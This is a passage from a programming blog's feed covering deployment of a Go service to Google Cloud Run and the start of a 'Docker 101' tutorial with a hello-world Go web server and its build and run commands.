</div><p>Now push your image to Google Container Register. If your project ID is <code>first_gcloud_project-67</code> and the service name is <code>hello_world</code> then the tag name has to be <code>gcr.io/first_gcloud_project/hello_world:main</code></p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ docker push gcr.io/first_gcloud_project-67/hello_world:main
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Now, start your binary.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">6
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ gcloud run deploy hello_world <span style="color:#cb4b16">\
</span></span></span><span style="display:flex;"><span><span style="color:#cb4b16"></span>        --image gcr.io/first_gcloud_project-67/hello_world:main <span style="color:#cb4b16">\
</span></span></span><span style="display:flex;"><span><span style="color:#cb4b16"></span>        --platform managed <span style="color:#cb4b16">\
</span></span></span><span style="display:flex;"><span><span style="color:#cb4b16"></span>        --region us-central1 <span style="color:#cb4b16">\
</span></span></span><span style="display:flex;"><span><span style="color:#cb4b16"></span>        --set-env-vars<span style="color:#719e07">=</span><span style="color:#268bd2">SECRET_VALUE</span><span style="color:#719e07">=</span><span style="color:#2aa198">&#34;secret&#34;</span> <span style="color:#cb4b16">\
</span></span></span><span style="display:flex;"><span><span style="color:#cb4b16"></span>        --project first_gcloud_project-67</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>And your service is ready to be accessed. You can see the deployed URL from   
    
    
<a href="https://console.cloud.google.com/run?project=%20first_gcloud_project&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://console.cloud.google.com/run?project= first_gcloud_project</a></p>
<p>Now, the service would be accessible at an unmemorizable .app domain. I would recommend   
    
    
<a href="https://cloud.google.com/appengine/docs/standard/python/mapping-custom-domains?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">mapping</a> a more memorizable custom domain you own to the same service.</p>
<p>I have abstracted out all these steps and the ones mentioned in the 
<a href="/tech/docker-101-a-basic-web-server-displaying-hello-world/">previous</a> blogpost into a single   
    
    
<a href="https://github.com/ashishb/golang-template-repo?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">template</a> repository.</p>
<ol>
<li>Clone the repo <code>git clone https://github.com/ashishb/golang-template-repo</code></li>
<li>Fill in <code>GOOGLE_CLOUD_PROJECT_ID</code> and <code>GOOGLE_CLOUD_RUN_SERVICE_NAME</code></li>
<li>And deploy it using <code>make gcloud_deploy</code></li>
</ol>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/docker" term="docker" label="docker"/></entry><entry><title type="html">Docker 101: A basic web-server displaying hello world</title><link href="https://ashishb.net/programming/docker-101/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/docker-scratch-image/?utm_source=atom_feed" rel="related" type="text/html" title="Docker: Be careful about the scratch image"/><link href="https://ashishb.net/programming/free-deployment-of-side-projects/?utm_source=atom_feed" rel="related" type="text/html" title="How to deploy side projects as web services for free"/><link href="https://ashishb.net/programming/amazing-sandbox/?utm_source=atom_feed" rel="related" type="text/html" title="Introducing Amazing Sandbox - run third-party tools and AI agents securely on your machine"/><link href="https://ashishb.net/programming/using-python-uv-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="Best practices for using Python &amp; uv inside Docker"/><link href="https://ashishb.net/programming/run-tools-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="To keep your machine secure, run third-party tools inside Docker"/><id>https://ashishb.net/programming/docker-101/</id><author><name>Ashish Bhatia</name></author><published>2020-04-13T08:11:15+00:00</published><updated>2020-04-13T08:11:15+00:00</updated><content type="html"><![CDATA[<blockquote>Learn to build a basic web server using Docker and optimize your container image size efficiently. Enhance your development with this step-by-step guide!</blockquote><h2 id="a-basic-webserver">A basic webserver</h2>
<p>Docker containers are small OS images in themselves that one can deploy and run without worrying about dependencies or interoperability. All the dependencies are packed in the same container file. And the docker runtime takes care of the interoperability. You are not tied to using a single language or framework. You can write code in Python, Go, Java, Node.js, or any of your favorite languages and pack it in a container.</p>
<p>Consider a simple example of a Go-based webserver</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Go
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">28
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">29
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">30
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">31
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">32
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">33
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">34
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">35
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">36
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">37
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">38
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">39
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">40
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>$ cat src<span style="color:#719e07">/</span>main.<span style="color:#719e07">go</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">package</span> main
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">import</span> (
</span></span><span style="display:flex;"><span>    <span style="color:#2aa198">&#34;fmt&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#2aa198">&#34;log&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#2aa198">&#34;net/http&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#2aa198">&#34;os&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">const</span> homepageEndPoint = <span style="color:#2aa198">&#34;/&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// StartWebServer the webserver</span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> <span style="color:#268bd2">StartWebServer</span>() {
</span></span><span style="display:flex;"><span>    http.<span style="color:#268bd2">HandleFunc</span>(homepageEndPoint, handleHomepage)
</span></span><span style="display:flex;"><span>    port <span style="color:#719e07">:=</span> os.<span style="color:#268bd2">Getenv</span>(<span style="color:#2aa198">&#34;PORT&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">if</span> <span style="color:#b58900">len</span>(port) <span style="color:#719e07">==</span> <span style="color:#2aa198">0</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b58900">panic</span>(<span style="color:#2aa198">&#34;Environment variable PORT is not set&#34;</span>)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    log.<span style="color:#268bd2">Printf</span>(<span style="color:#2aa198">&#34;Starting web server to listen on endpoints [%s] and port %s&#34;</span>,
</span></span><span style="display:flex;"><span>        homepageEndPoint, port)
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">if</span> err <span style="color:#719e07">:=</span> http.<span style="color:#268bd2">ListenAndServe</span>(<span style="color:#2aa198">&#34;:&#34;</span><span style="color:#719e07">+</span>port, <span style="color:#cb4b16">nil</span>); err <span style="color:#719e07">!=</span> <span style="color:#cb4b16">nil</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b58900">panic</span>(err)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> <span style="color:#268bd2">handleHomepage</span>(w http.ResponseWriter, r <span style="color:#719e07">*</span>http.Request) {
</span></span><span style="display:flex;"><span>    urlPath <span style="color:#719e07">:=</span> r.URL.Path
</span></span><span style="display:flex;"><span>    log.<span style="color:#268bd2">Printf</span>(<span style="color:#2aa198">&#34;Web request received on url path %s&#34;</span>, urlPath)
</span></span><span style="display:flex;"><span>    msg <span style="color:#719e07">:=</span> <span style="color:#2aa198">&#34;Hello world&#34;</span>
</span></span><span style="display:flex;"><span>    _, err <span style="color:#719e07">:=</span> w.<span style="color:#268bd2">Write</span>([]<span style="color:#b58900">byte</span>(msg))
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">if</span> err <span style="color:#719e07">!=</span> <span style="color:#cb4b16">nil</span> {
</span></span><span style="display:flex;"><span>        fmt.<span style="color:#268bd2">Printf</span>(<span style="color:#2aa198">&#34;Failed to write response, err: %s&#34;</span>, err)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> <span style="color:#268bd2">main</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">StartWebServer</span>()
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>We can build this using</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ go build -v -o bin/server src/*.go
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>and run it using</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ <span style="color:#268bd2">PORT</span><span style="color:#719e07">=</span><span style="color:#2aa198">8080</span> ./bin/server
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>You can test it at   
    
    
<a href="http://localhost:8080?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">http://localhost:8080</a></p>
<h2 id="building-the-docker-image">Building the Docker image</h2>
<p>Now to package it into a docker container, we will write a <code>Dockerfile</code>, we will use alpine Linux as the base since it is a small image. How small? Let&rsquo;s check.</p>
<p>First, pull (download) the image. <code>$ docker pull alpine</code> Now, check its size using this long command</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

